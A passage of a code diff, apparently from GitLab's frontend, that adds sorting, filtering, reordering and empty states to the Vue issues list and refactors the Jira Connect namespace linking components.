+ handleUpdateLegacyBulkEdit() {
+ // If "select all" checkbox was checked, wait for all checkboxes
+ // to be checked before updating IssuableBulkUpdateSidebar class
+ this.$nextTick(() => {
+ eventHub.$emit('issuables:updateBulkEdit');
+ });
+ },
+ handleBulkUpdateClick() {
+ eventHub.$emit('issuables:enableBulkEdit');
+ },
+ handleClickTab(state) {
+ if (this.state !== state) {
+ this.page = 1;
+ }
+ this.state = state;
+ this.fetchIssues();
+ },
+ handleFilter(filter) {
+ this.filterTokens = filter;
+ this.fetchIssues();
+ },
handlePageChange(page) {
- this.fetchIssues(page);
+ this.page = page;
+ this.fetchIssues();
+ },
+ handleReorder({ newIndex, oldIndex }) {
+ const issueToMove = this.issues[oldIndex];
+ const isDragDropDownwards = newIndex > oldIndex;
+ const isMovingToBeginning = newIndex === 0;
+ const isMovingToEnd = newIndex === this.issues.length - 1;
+
+ let moveBeforeId;
+ let moveAfterId;
+
+ if (isDragDropDownwards) {
+ const afterIndex = isMovingToEnd ? newIndex : newIndex + 1;
+ moveBeforeId = this.issues[newIndex].id;
+ moveAfterId = this.issues[afterIndex].id;
+ } else {
+ const beforeIndex = isMovingToBeginning ? newIndex : newIndex - 1;
+ moveBeforeId = this.issues[beforeIndex].id;
+ moveAfterId = this.issues[newIndex].id;
+ }
+
+ return axios
+ .put(`${this.issuesPath}/${issueToMove.iid}/reorder`, {
+ move_before_id: isMovingToBeginning ? null : moveBeforeId,
+ move_after_id: isMovingToEnd ? null : moveAfterId,
+ })
+ .then(() => {
+ // Move issue to new position in list
+ this.issues.splice(oldIndex, 1);
+ this.issues.splice(newIndex, 0, issueToMove);
+ })
+ .catch(() => {
+ createFlash({ message: this.$options.i18n.reorderError });
+ });
+ },
+ handleSort(value) {
+ this.sortKey = value;
+ this.filters = sortParams[value];
+ this.fetchIssues();
},
},
};
@@ -82,26 +287,70 @@ export default {
<template>
<issuable-list
+ v-if="hasIssues"
:namespace="fullPath"
recent-searches-storage-key="issues"
:search-input-placeholder="__('Search or filter results…')"
:search-tokens="[]"
- :sort-options="[]"
+ :initial-filter-value="filterTokens"
+ :sort-options="$options.sortOptions"
+ :initial-sort-by="sortKey"
:issuables="issues"
- :tabs="[]"
- current-tab=""
+ :tabs="$options.IssuableListTabs"
+ :current-tab="state"
+ :tab-counts="tabCounts"
:issuables-loading="isLoading"
- :show-pagination-controls="true"
+ :is-manual-ordering="isManualOrdering"
+ :show-bulk-edit-sidebar="showBulkEditSidebar"
+ :show-pagination-controls="showPaginationControls"
:total-items="totalIssues"
- :current-page="currentPage"
- :previous-page="currentPage - 1"
- :next-page="currentPage + 1"
+ :current-page="page"
+ :previous-page="page - 1"
+ :next-page="page + 1"
:url-params="urlParams"
+ @click-tab="handleClickTab"
+ @filter="handleFilter"
@page-change="handlePageChange"
+ @reorder="handleReorder"
+ @sort="handleSort"
+ @update-legacy-bulk-edit="handleUpdateLegacyBulkEdit"
>
+ <template #nav-actions>
+ <gl-button
+ v-gl-tooltip
+ :href="rssPath"
+ icon="rss"
+ :title="$options.i18n.rssLabel"
+ :aria-label="$options.i18n.rssLabel"
+ />
+ <gl-button
+ v-gl-tooltip
+ :href="calendarPath"
+ icon="calendar"
+ :title="$options.i18n.calendarLabel"
+ :aria-label="$options.i18n.calendarLabel"
+ />
+ <csv-import-export-buttons
+ class="gl-mr-3"
+ :export-csv-path="exportCsvPathWithQuery"
+ :issuable-count="totalIssues"
+ />
+ <gl-button
+ v-if="canBulkUpdate"
+ :disabled="showBulkEditSidebar"
+ @click="handleBulkUpdateClick"
+ >
+ {{ __('Edit issues') }}
+ </gl-button>
+ <gl-button v-if="showNewIssueLink" :href="newIssuePath" variant="confirm">
+ {{ $options.i18n.newIssueLabel }}
+ </gl-button>
+ </template>
+
<template #timeframe="{ issuable = {} }">
<issue-card-time-info :issue="issuable" />
</template>
+
<template #statistics="{ issuable = {} }">
<li
v-if="issuable.mergeRequestsCount"
@@ -139,5 +388,81 @@ export default {
:is-list-item="true"
/>
</template>
+
+ <template #empty-state>
+ <gl-empty-state
+ v-if="searchQuery"
+ :description="$options.i18n.noSearchResultsDescription"
+ :title="$options.i18n.noSearchResultsTitle"
+ :svg-path="emptyStateSvgPath"
+ >
+ <template #actions>
+ <gl-button v-if="showNewIssueLink" :href="newIssuePath" variant="confirm">
+ {{ $options.i18n.newIssueLabel }}
+ </gl-button>
+ </template>
+ </gl-empty-state>
+
+ <gl-empty-state
+ v-else-if="isOpenTab"
+ :description="$options.i18n.noOpenIssuesDescription"
+ :title="$options.i18n.noOpenIssuesTitle"
+ :svg-path="emptyStateSvgPath"
+ >
+ <template #actions>
+ <gl-button v-if="showNewIssueLink" :href="newIssuePath" variant="confirm">
+ {{ $options.i18n.newIssueLabel }}
+ </gl-button>
+ </template>
+ </gl-empty-state>
+
+ <gl-empty-state
+ v-else
+ :title="$options.i18n.noClosedIssuesTitle"
+ :svg-path="emptyStateSvgPath"
+ />
+ </template>
</issuable-list>
+
+ <div v-else-if="isSignedIn">
+ <gl-empty-state
+ :description="$options.i18n.noIssuesSignedInDescription"
+ :title="$options.i18n.noIssuesSignedInTitle"
+ :svg-path="emptyStateSvgPath"
+ >
+ <template #actions>
+ <gl-button v-if="showNewIssueLink" :href="newIssuePath" variant="confirm">
+ {{ $options.i18n.newIssueLabel }}
+ </gl-button>
+ <csv-import-export-buttons
+ class="gl-mr-3"
+ :export-csv-path="exportCsvPathWithQuery"
+ :issuable-count="totalIssues"
+ />
+ </template>
+ </gl-empty-state>
+ <hr />
+ <p class="gl-text-center gl-font-weight-bold gl-mb-0">
+ {{ $options.i18n.jiraIntegrationTitle }}
+ </p>
+ <p class="gl-text-center gl-mb-0">
+ <gl-sprintf :message="$options.i18n.jiraIntegrationMessage">
+ <template #jiraDocsLink="{ content }">
+ <gl-link :href="jiraIntegrationPath">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ <p class="gl-text-center gl-text-gray-500">
+ {{ $options.i18n.jiraIntegrationSecondaryMessage }}
+ </p>
+ </div>
+
+ <gl-empty-state
+ v-else
+ :description="$options.i18n.noIssuesSignedOutDescription"
+ :title="$options.i18n.noIssuesSignedOutTitle"
+ :svg-path="emptyStateSvgPath"
+ :primary-button-text="$options.i18n.noIssuesSignedOutButtonText"
+ :primary-button-link="signInPath"
+ />
</template>
diff --git a/app/assets/javascripts/issues_list/constants.js b/app/assets/javascripts/issues_list/constants.js
index f008ba1bf4a..f6f23af80ba 100644
--- a/app/assets/javascripts/issues_list/constants.js
+++ b/app/assets/javascripts/issues_list/constants.js
@@ -54,3 +54,191 @@ export const availableSortOptionsJira = [
];
export const JIRA_IMPORT_SUCCESS_ALERT_HIDE_MAP_KEY = 'jira-import-success-alert-hide-map';
+
+export const BLOCKING_ISSUES_ASC = 'BLOCKING_ISSUES_ASC';
+export const BLOCKING_ISSUES_DESC = 'BLOCKING_ISSUES_DESC';
+export const CREATED_ASC = 'CREATED_ASC';
+export const CREATED_DESC = 'CREATED_DESC';
+export const DUE_DATE_ASC = 'DUE_DATE_ASC';
+export const DUE_DATE_DESC = 'DUE_DATE_DESC';
+export const LABEL_PRIORITY_ASC = 'LABEL_PRIORITY_ASC';
+export const LABEL_PRIORITY_DESC = 'LABEL_PRIORITY_DESC';
+export const MILESTONE_DUE_ASC = 'MILESTONE_DUE_ASC';
+export const MILESTONE_DUE_DESC = 'MILESTONE_DUE_DESC';
+export const POPULARITY_ASC = 'POPULARITY_ASC';
+export const POPULARITY_DESC = 'POPULARITY_DESC';
+export const PRIORITY_ASC = 'PRIORITY_ASC';
+export const PRIORITY_DESC = 'PRIORITY_DESC';
+export const RELATIVE_POSITION_ASC = 'RELATIVE_POSITION_ASC';
+export const UPDATED_ASC = 'UPDATED_ASC';
+export const UPDATED_DESC = 'UPDATED_DESC';
+export const WEIGHT_ASC = 'WEIGHT_ASC';
+export const WEIGHT_DESC = 'WEIGHT_DESC';
+
+const SORT_ASC = 'asc';
+const SORT_DESC = 'desc';
+
+const BLOCKING_ISSUES = 'blocking_issues';
+
+export const sortParams = {
+ [PRIORITY_ASC]: {
+ order_by: PRIORITY,
+ sort: SORT_ASC,
+ },
+ [PRIORITY_DESC]: {
+ order_by: PRIORITY,
+ sort: SORT_DESC,
+ },
+ [CREATED_ASC]: {
+ order_by: CREATED_AT,
+ sort: SORT_ASC,
+ },
+ [CREATED_DESC]: {
+ order_by: CREATED_AT,
+ sort: SORT_DESC,
+ },
+ [UPDATED_ASC]: {
+ order_by: UPDATED_AT,
+ sort: SORT_ASC,
+ },
+ [UPDATED_DESC]: {
+ order_by: UPDATED_AT,
+ sort: SORT_DESC,
+ },
+ [MILESTONE_DUE_ASC]: {
+ order_by: MILESTONE_DUE,
+ sort: SORT_ASC,
+ },
+ [MILESTONE_DUE_DESC]: {
+ order_by: MILESTONE_DUE,
+ sort: SORT_DESC,
+ },
+ [DUE_DATE_ASC]: {
+ order_by: DUE_DATE,
+ sort: SORT_ASC,
+ },
+ [DUE_DATE_DESC]: {
+ order_by: DUE_DATE,
+ sort: SORT_DESC,
+ },
+ [POPULARITY_ASC]: {
+ order_by: POPULARITY,
+ sort: SORT_ASC,
+ },
+ [POPULARITY_DESC]: {
+ order_by: POPULARITY,
+ sort: SORT_DESC,
+ },
+ [LABEL_PRIORITY_ASC]: {
+ order_by: LABEL_PRIORITY,
+ sort: SORT_ASC,
+ },
+ [LABEL_PRIORITY_DESC]: {
+ order_by: LABEL_PRIORITY,
+ sort: SORT_DESC,
+ },
+ [RELATIVE_POSITION_ASC]: {
+ order_by: RELATIVE_POSITION,
+ per_page: 100,
+ sort: SORT_ASC,
+ },
+ [WEIGHT_ASC]: {
+ order_by: WEIGHT,
+ sort: SORT_ASC,
+ },
+ [WEIGHT_DESC]: {
+ order_by: WEIGHT,
+ sort: SORT_DESC,
+ },
+ [BLOCKING_ISSUES_ASC]: {
+ order_by: BLOCKING_ISSUES,
+ sort: SORT_ASC,
+ },
+ [BLOCKING_ISSUES_DESC]: {
+ order_by: BLOCKING_ISSUES,
+ sort: SORT_DESC,
+ },
+};
+
+export const sortOptions = [
+ {
+ id: 1,
+ title: __('Priority'),
+ sortDirection: {
+ ascending: PRIORITY_ASC,
+ descending: PRIORITY_DESC,
+ },
+ },
+ {
+ id: 2,
+ title: __('Created date'),
+ sortDirection: {
+ ascending: CREATED_ASC,
+ descending: CREATED_DESC,
+ },
+ },
+ {
+ id: 3,
+ title: __('Last updated'),
+ sortDirection: {
+ ascending: UPDATED_ASC,
+ descending: UPDATED_DESC,
+ },
+ },
+ {
+ id: 4,
+ title: __('Milestone due date'),
+ sortDirection: {
+ ascending: MILESTONE_DUE_ASC,
+ descending: MILESTONE_DUE_DESC,
+ },
+ },
+ {
+ id: 5,
+ title: __('Due date'),
+ sortDirection: {
+ ascending: DUE_DATE_ASC,
+ descending: DUE_DATE_DESC,
+ },
+ },
+ {
+ id: 6,
+ title: __('Popularity'),
+ sortDirection: {
+ ascending: POPULARITY_ASC,
+ descending: POPULARITY_DESC,
+ },
+ },
+ {
+ id: 7,
+ title: __('Label priority'),
+ sortDirection: {
+ ascending: LABEL_PRIORITY_ASC,
+ descending: LABEL_PRIORITY_DESC,
+ },
+ },
+ {
+ id: 8,
+ title: __('Manual'),
+ sortDirection: {
+ ascending: RELATIVE_POSITION_ASC,
+ descending: RELATIVE_POSITION_ASC,
+ },
+ },
+ {
+ id: 9,
+ title: __('Weight'),
+ sortDirection: {
+ ascending: WEIGHT_ASC,
+ descending: WEIGHT_DESC,
+ },
+ },
+ {
+ id: 10,
+ title: __('Blocking'),
+ sortDirection: {
+ ascending: BLOCKING_ISSUES_ASC,
+ descending: BLOCKING_ISSUES_DESC,
+ },
+ },
+];
diff --git a/app/assets/javascripts/issues_list/index.js b/app/assets/javascripts/issues_list/index.js
index a283cbdc86b..0b64df50691 100644
--- a/app/assets/javascripts/issues_list/index.js
+++ b/app/assets/javascripts/issues_list/index.js
@@ -73,11 +73,29 @@ export function initIssuesListApp() {
}
const {
+ calendarPath,
+ canBulkUpdate,
+ canEdit,
+ canImportIssues,
+ email,
+ emptyStateSvgPath,
endpoint,
+ exportCsvPath,
fullPath,
hasBlockedIssuesFeature,
hasIssuableHealthStatusFeature,
+ hasIssues,
hasIssueWeightsFeature,
+ importCsvIssuesPath,
+ isSignedIn,
+ issuesPath,
+ jiraIntegrationPath,
+ maxAttachmentSize,
+ newIssuePath,
+ projectImportJiraPath,
+ rssPath,
+ showNewIssueLink,
+ signInPath,
} = el.dataset;
return new Vue({
@@ -86,11 +104,32 @@ export function initIssuesListApp() {
// issue is fixed upstream in https://github.com/vuejs/vue-apollo/pull/1153
apolloProvider: {},
provide: {
+ calendarPath,
+ canBulkUpdate: parseBoolean(canBulkUpdate),
+ emptyStateSvgPath,
endpoint,
fullPath,
hasBlockedIssuesFeature: parseBoolean(hasBlockedIssuesFeature),
hasIssuableHealthStatusFeature: parseBoolean(hasIssuableHealthStatusFeature),
+ hasIssues: parseBoolean(hasIssues),
hasIssueWeightsFeature: parseBoolean(hasIssueWeightsFeature),
+ isSignedIn: parseBoolean(isSignedIn),
+ issuesPath,
+ jiraIntegrationPath,
+ newIssuePath,
+ rssPath,
+ showNewIssueLink: parseBoolean(showNewIssueLink),
+ signInPath,
+ // For CsvImportExportButtons component
+ canEdit: parseBoolean(canEdit),
+ email,
+ exportCsvPath,
+ importCsvIssuesPath,
+ maxAttachmentSize,
+ projectImportJiraPath,
+ showExportButton: parseBoolean(hasIssues),
+ showImportButton: parseBoolean(canImportIssues),
+ showLabel: !parseBoolean(hasIssues),
},
render: (createComponent) => createComponent(IssuesListApp),
});
diff --git a/app/assets/javascripts/jira_connect/api.js b/app/assets/javascripts/jira_connect/api.js
index d78aba0a3f7..abf2c070e68 100644
--- a/app/assets/javascripts/jira_connect/api.js
+++ b/app/assets/javascripts/jira_connect/api.js
@@ -1,24 +1,5 @@
import axios from 'axios';
-
-export const getJwt = () => {
- return new Promise((resolve) => {
- AP.context.getToken((token) => {
- resolve(token);
- });
- });
-};
-
-export const getLocation = () => {
- return new Promise((resolve) => {
- if (typeof AP.getLocation !== 'function') {
- resolve();
- }
-
- AP.getLocation((location) => {
- resolve(location);
- });
- });
-};
+import { getJwt } from '~/jira_connect/utils';
export const addSubscription = async (addPath, namespace) => {
const jwt = await getJwt();
@@ -39,11 +20,12 @@ export const removeSubscription = async (removePath) => {
});
};
-export const fetchGroups = async (groupsPath, { page, perPage }) => {
+export const fetchGroups = async (groupsPath, { page, perPage, search }) => {
return axios.get(groupsPath, {
params: {
page,
per_page: perPage,
+ search,
},
});
};
diff --git a/app/assets/javascripts/jira_connect/components/app.vue b/app/assets/javascripts/jira_connect/components/app.vue
index fe5ad8b67d7..ff4dfb23687 100644
--- a/app/assets/javascripts/jira_connect/components/app.vue
+++ b/app/assets/javascripts/jira_connect/components/app.vue
@@ -1,27 +1,26 @@
<script>
-import { GlAlert, GlButton, GlModal, GlModalDirective, GlLink, GlSprintf } from '@gitlab/ui';
+import { GlAlert, GlButton, GlLink, GlModal, GlModalDirective, GlSprintf } from '@gitlab/ui';
import { mapState, mapMutations } from 'vuex';
-import { getLocation } from '~/jira_connect/api';
+import { retrieveAlert, getLocation } from '~/jira_connect/utils';
import { __ } from '~/locale';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { SET_ALERT } from '../store/mutation_types';
-import { retrieveAlert } from '../utils';
import GroupsList from './groups_list.vue';
+import SubscriptionsList from './subscriptions_list.vue';
export default {
name: 'JiraConnectApp',
components: {
GlAlert,
GlButton,
- GlModal,
- GroupsList,
GlLink,
+ GlModal,
GlSprintf,
+ GroupsList,
+ SubscriptionsList,
},
directives: {
GlModalDirective,
},
- mixins: [glFeatureFlagsMixin()],
inject: {
usersPath: {
default: '',
@@ -91,37 +90,36 @@ export default {
<h2 class="gl-text-center">{{ s__('JiraService|GitLab for Jira Configuration') }}</h2>
- <div
- class="jira-connect-app-body gl-display-flex gl-justify-content-space-between gl-my-7 gl-pb-4 gl-border-b-solid gl-border-b-1 gl-border-b-gray-200"
- >
- <h5 class="gl-align-self-center gl-mb-0" data-testid="new-jira-connect-ui-heading">
- {{ s__('Integrations|Linked namespaces') }}
- </h5>
- <gl-button
- v-if="usersPath"
- category="primary"
- variant="info"
- class="gl-align-self-center"
- :href="usersPathWithReturnTo"
- target="_blank"
- >{{ s__('Integrations|Sign in to add namespaces') }}</gl-button
- >
- <template v-else>
+ <div class="jira-connect-app-body gl-my-7 gl-px-5 gl-pb-4">
+ <div class="gl-display-flex gl-justify-content-end">
<gl-button
- v-gl-modal-directive="'add-namespace-modal'"
+ v-if="usersPath"
category="primary"
variant="info"
class="gl-align-self-center"
- >{{ s__('Integrations|Add namespace') }}</gl-button
- >
- <gl-modal
- modal-id="add-namespace-modal"
- :title="s__('Integrations|Link namespaces')"
- :action-cancel="$options.modal.cancelProps"
+ :href="usersPathWithReturnTo"
+ target="_blank"
+ >{{ s__('Integrations|Sign in to add namespaces') }}</gl-button
>
- <groups-list />
- </gl-modal>
- </template>
+ <template v-else>
+ <gl-button
+ v-gl-modal-directive="'add-namespace-modal'"
+ category="primary"
+ variant="info"
+ class="gl-align-self-center"
+ >{{ s__('Integrations|Add namespace') }}</gl-button
+ >
+ <gl-modal
+ modal-id="add-namespace-modal"
+ :title="s__('Integrations|Link namespaces')"
+ :action-cancel="$options.modal.cancelProps"
+ >
+ <groups-list />
+ </gl-modal>
+ </template>
+ </div>
+
+ <subscriptions-list />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/jira_connect/components/group_item_name.vue b/app/assets/javascripts/jira_connect/components/group_item_name.vue
new file mode 100644
index 00000000000..e6c172dae9e
--- /dev/null
+++ b/app/assets/javascripts/jira_connect/components/group_item_name.vue
@@ -0,0 +1,34 @@
+<script>
+import { GlAvatar, GlIcon } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlAvatar,
+ GlIcon,
+ },
+ props: {
+ group: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-align-items-center">
+ <gl-icon name="folder-o" class="gl-mr-3" />
+ <div class="gl-display-none gl-flex-shrink-0 gl-sm-display-flex gl-mr-3">
+ <gl-avatar :size="32" shape="rect" :entity-name="group.name" :src="group.avatar_url" />
+ </div>
+
+ <div>
+ <span class="gl-mr-3 gl-text-gray-900! gl-font-weight-bold">
+ {{ group.full_name }}
+ </span>
+ <div v-if="group.description">
+ <p class="gl-mt-2! gl-mb-0 gl-text-gray-600" v-text="group.description"></p>
+ </div>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/jira_connect/components/groups_list.vue b/app/assets/javascripts/jira_connect/components/groups_list.vue
index 69f2903388c..275ff820419 100644
--- a/app/assets/javascripts/jira_connect/components/groups_list.vue
+++ b/app/assets/javascripts/jira_connect/components/groups_list.vue
@@ -1,5 +1,5 @@
<script>
-import { GlTabs, GlTab, GlLoadingIcon, GlPagination, GlAlert } from '@gitlab/ui';
+import { GlLoadingIcon, GlPagination, GlAlert, GlSearchBoxByType } from '@gitlab/ui';
import { fetchGroups } from '~/jira_connect/api';
import { defaultPerPage } from '~/jira_connect/constants';
import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
@@ -8,11 +8,10 @@ import GroupsListItem from './groups_list_item.vue';
export default {
components: {
- GlTabs,
- GlTab,
GlLoadingIcon,
GlPagination,
GlAlert,
+ GlSearchBoxByType,
GroupsListItem,
},
inject: {
@@ -23,7 +22,8 @@ export default {
data() {
return {
groups: [],
- isLoading: false,
+ isLoadingInitial: true,
+ isLoadingMore: false,
page: 1,
perPage: defaultPerPage,
totalItems: 0,
@@ -31,15 +31,18 @@ export default {
};
},
mounted() {
- this.loadGroups();
+ return this.loadGroups().finally(() => {
+ this.isLoadingInitial = false;
+ });
},
methods: {
- loadGroups() {
- this.isLoading = true;
+ loadGroups({ searchTerm } = {}) {
+ this.isLoadingMore = true;
- fetchGroups(this.groupsPath, {
+ return fetchGroups(this.groupsPath, {
page: this.page,
perPage: this.perPage,
+ search: searchTerm,
})
.then((response) => {
const { page, total } = parseIntPagination(normalizeHeaders(response.headers));
@@ -51,50 +54,61 @@ export default {
this.errorMessage = s__('Integrations|Failed to load namespaces. Please try again.');
})
.finally(() => {
- this.isLoading = false;
+ this.isLoadingMore = false;
});
},
+ onGroupSearch(searchTerm) {
+ return this.loadGroups({ searchTerm });
+ },
},
};
</script>
<template>
<div>
- <gl-alert v-if="errorMessage" class="gl-mb-6" variant="danger" @dismiss="errorMessage = null">
+ <gl-alert v-if="errorMessage" class="gl-mb-5" variant="danger" @dismiss="errorMessage = null">
{{ errorMessage }}
</gl-alert>
- <gl-tabs>
- <gl-tab :title="__('Groups and subgroups')" class="gl-pt-3">
- <gl-loading-icon v-if="isLoading" size="md" />
- <div v-else-if="groups.length === 0" class="gl-text-center">
- <h5>{{ s__('Integrations|No available namespaces.') }}</h5>
- <p class="gl-mt-5">
- {{
- s__('Integrations|You must have owner or maintainer permissions to link namespaces.')
- }}
- </p>
- </div>
- <ul v-else class="gl-list-style-none gl-pl-0">
- <groups-list-item
- v-for="group in groups"
- :key="group.id"
- :group="group"
- @error="errorMessage = $event"
- />
- </ul>
+ <gl-search-box-by-type
+ class="gl-mb-5"
+ debounce="500"
+ :placeholder="__('Search by name')"
+ :is-loading="isLoadingMore"
+ @input="onGroupSearch"
+ />
+
+ <gl-loading-icon v-if="isLoadingInitial" size="md" />
+ <div v-else-if="groups.length === 0" class="gl-text-center">
+ <h5>{{ s__('Integrations|No available namespaces.') }}</h5>
+ <p class="gl-mt-5">
+ {{ s__('Integrations|You must have owner or maintainer permissions to link namespaces.') }}
+ </p>
+ </div>
+ <ul
+ v-else
+ class="gl-list-style-none gl-pl-0 gl-border-t-1 gl-border-t-solid gl-border-t-gray-100"
+ :class="{ 'gl-opacity-5': isLoadingMore }"
+ data-testid="groups-list"
+ >
+ <groups-list-item
+ v-for="group in groups"
+ :key="group.id"
+ :group="group"
+ :disabled="isLoadingMore"
+ @error="errorMessage = $event"
+ />
+ </ul>
- <div class="gl-display-flex gl-justify-content-center gl-mt-5">
- <gl-pagination
- v-if="totalItems > perPage && groups.length > 0"
- v-model="page"
- class="gl-mb-0"
- :per-page="perPage"
- :total-items="totalItems"
- @input="loadGroups"
- />
- </div>
- </gl-tab>
- </gl-tabs>
+ <div class="gl-display-flex gl-justify-content-center gl-mt-5">
+ <gl-pagination
+ v-if="totalItems > perPage && groups.length > 0"
+ v-model="page"
+ class="gl-mb-0"
+ :per-page="perPage"
+ :total-items="totalItems"
+ @input="loadGroups"
+ />
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/jira_connect/components/groups_list_item.vue b/app/assets/javascripts/jira_connect/components/groups_list_item.vue
index b8959a2a505..ad046920dd1 100644
--- a/app/assets/javascripts/jira_connect/components/groups_list_item.vue
+++ b/app/assets/javascripts/jira_connect/components/groups_list_item.vue
@@ -1,15 +1,15 @@
<script>
-import { GlAvatar, GlButton, GlIcon } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
import { helpPagePath } from '~/helpers/help_page_helper';
import { addSubscription } from '~/jira_connect/api';
+import { persistAlert, reloadPage } from '~/jira_connect/utils';
import { s__ } from '~/locale';
-import { persistAlert } from '../utils';
+import GroupItemName from './group_item_name.vue';
export default {
components: {
- GlAvatar,
GlButton,
- GlIcon,
+ GroupItemName,
},
inject: {
subscriptionsPath: {
@@ -21,6 +21,11 @@ export default {
type: Object,
required: true,
},
+ disabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -42,7 +47,7 @@ export default {
variant: 'success',
});
- AP.navigator.reload();
+ reloadPage();
})
.catch((error) => {
this.$emit(
@@ -50,8 +55,6 @@ export default {
error?.response?.data?.error ||
s__('Integrations|Failed to link namespace. Please try again.'),
);
- })
- .finally(() => {
this.isLoading = false;
});
},
@@ -60,34 +63,22 @@ export default {
</script>
<template>
- <li class="gl-border-b-1 gl-border-b-solid gl-border-b-gray-200">
+ <li class="gl-border-b-1 gl-border-b-solid gl-border-b-gray-100">
<div class="gl-display-flex gl-align-items-center gl-py-3">
- <gl-icon name="folder-o" class="gl-mr-3" />
- <div class="gl-display-none gl-flex-shrink-0 gl-sm-display-flex gl-mr-3">
- <gl-avatar :size="32" shape="rect" :entity-name="group.name" :src="group.avatar_url" />
- </div>
<div class="gl-min-w-0 gl-display-flex gl-flex-grow-1 gl-flex-shrink-1 gl-align-items-center">
<div class="gl-min-w-0 gl-flex-grow-1 flex-shrink-1">
- <div class="gl-display-flex gl-align-items-center gl-flex-wrap">
- <span
- class="gl-mr-3 gl-text-gray-900! gl-font-weight-bold"
- data-testid="group-list-item-name"
- >
- {{ group.full_name }}
- </span>
- </div>
- <div v-if="group.description" data-testid="group-list-item-description">
- <p class="gl-mt-2! gl-mb-0 gl-text-gray-600" v-text="group.description"></p>
- </div>
+ <group-item-name :group="group" />
</div>
<gl-button
category="secondary"
- variant="success"
+ variant="confirm"
:loading="isLoading"
+ :disabled="disabled"
@click.prevent="onClick"
- >{{ __('Link') }}</gl-button
>
+ {{ __('Link') }}
+ </gl-button>
</div>
</div>
</li>
diff --git a/app/assets/javascripts/jira_connect/components/subscriptions_list.vue b/app/assets/javascripts/jira_connect/components/subscriptions_list.vue
new file mode 100644
index 00000000000..a606e2edbbb
--- /dev/null
+++ b/app/assets/javascripts/jira_connect/components/subscriptions_list.vue
@@ -0,0 +1,109 @@
+<script>
+import { GlButton, GlEmptyState, GlTable } from '@gitlab/ui';
+import { isEmpty } from 'lodash';
+import { mapMutations } from 'vuex';
+import { removeSubscription } from '~/jira_connect/api';
+import { reloadPage } from '~/jira_connect/utils';
+import { __, s__ } from '~/locale';
+import TimeagoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import { SET_ALERT } from '../store/mutation_types';
+import GroupItemName from './group_item_name.vue';
+
+export default {
+ components: {
+ GlButton,
+ GlEmptyState,
+ GlTable,
+ GroupItemName,
+ TimeagoTooltip,
+ },
+ inject: {
+ subscriptions: {
+ default: [],
+ },
+ },
+ data() {
+ return {
+ loadingItem: null,
+ };
+ },
+ fields: [
+ {
+ key: 'name',
+ label: s__('Integrations|Linked namespaces'),
+ },
+ {
+ key: 'created_at',
+ label: __('Added'),
+ tdClass: 'gl-vertical-align-middle! gl-w-20p',
+ },
+ {
+ key: 'actions',
+ label: '',
+ tdClass: 'gl-text-right gl-vertical-align-middle! gl-pl-0!',
+ },
+ ],
+ i18n: {
+ emptyTitle: s__('Integrations|No linked namespaces'),
+ emptyDescription: s__(
+ 'Integrations|Namespaces are the GitLab groups and subgroups you link to this Jira instance.',
+ ),
+ unlinkError: s__('Integrations|Failed to unlink namespace. Please try again.'),
+ },
+ methods: {
+ ...mapMutations({
+ setAlert: SET_ALERT,
+ }),
+ isEmpty,
+ isLoadingItem(item) {
+ return this.loadingItem === item;
+ },
+ unlinkBtnClass(item) {
+ return this.isLoadingItem(item) ? '' : 'gl-ml-6';
+ },
+ onClick(item) {
+ this.loadingItem = item;
+
+ removeSubscription(item.unlink_path)
+ .then(() => {
+ reloadPage();
+ })
+ .catch((error) => {
+ this.setAlert({
+ message: error?.response?.data?.error || this.$options.i18n.unlinkError,
+ variant: 'danger',
+ });
+ this.loadingItem = null;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-empty-state
+ v-if="isEmpty(subscriptions)"
+ :title="$options.i18n.emptyTitle"
+ :description="$options.i18n.emptyDescription"
+ />
+ <gl-table v-else :items="subscriptions" :fields="$options.fields">
+ <template #cell(name)="{ item }">
+ <group-item-name :group="item.group" />
+ </template>
+ <template #cell(created_at)="{ item }">
+ <timeago-tooltip :time="item.created_at" />
+ </template>
+ <template #cell(actions)="{ item }">
+ <gl-button
+ :class="unlinkBtnClass(item)"
+ category="secondary"
+ :loading="isLoadingItem(item)"
+ :disabled="!isEmpty(loadingItem)"
+ @click.prevent="onClick(item)"
+ >{{ __('Unlink') }}</gl-button
+ >
+ </template>
+ </gl-table>
+ </div>
+</template>
diff --git a/app/assets/javascripts/jira_connect/index.js b/app/assets/javascripts/jira_connect/index.js
index ecdb41607a4..dc8bb3b0c77 100644
--- a/app/assets/javascripts/jira_connect/index.js
+++ b/app/assets/javascripts/jira_connect/index.js
@@ -1,25 +1,14 @@
import setConfigs from '@gitlab/ui/dist/config';
import Vue from 'vue';
-import { addSubscription, removeSubscription, getLocation } from '~/jira_connect/api';
+import { getLocation, sizeToParent } from '~/jira_connect/utils';
import GlFeatureFlagsPlugin from '~/vue_shared/gl_feature_flags_plugin';
import Translate from '~/vue_shared/translate';
import JiraConnectApp from './components/app.vue';
import createStore from './store';
-import { SET_ALERT } from './store/mutation_types';
const store = createStore();
-const reqComplete = () => {
- AP.navigator.reload();
-};
-
-const reqFailed = (res, fallbackErrorMessage) => {
- const { error = fallbackErrorMessage } = res || {};
-
- store.commit(SET_ALERT, { message: error, variant: 'danger' });
-};
-
const updateSignInLinks = async () => {
const location = await getLocation();
Array.from(document.querySelectorAll('.js-jira-connect-sign-in')).forEach((el) => {
@@ -28,43 +17,7 @@ const updateSignInLinks = async () => {
});
};
-const initRemoveSubscriptionButtonHandlers = () => {
- Array.from(document.querySelectorAll('.js-jira-connect-remove-subscription')).forEach((el) => {
- el.addEventListener('click', function onRemoveSubscriptionClick(e) {
- e.preventDefault();
-
- const removePath = e.target.getAttribute('href');
- removeSubscription(removePath)
- .then(reqComplete)
- .catch((err) =>
- reqFailed(err.response.data, 'Failed to remove namespace. Please try again.'),
- );
- });
- });
-};
-
-const initAddSubscriptionFormHandler = () => {
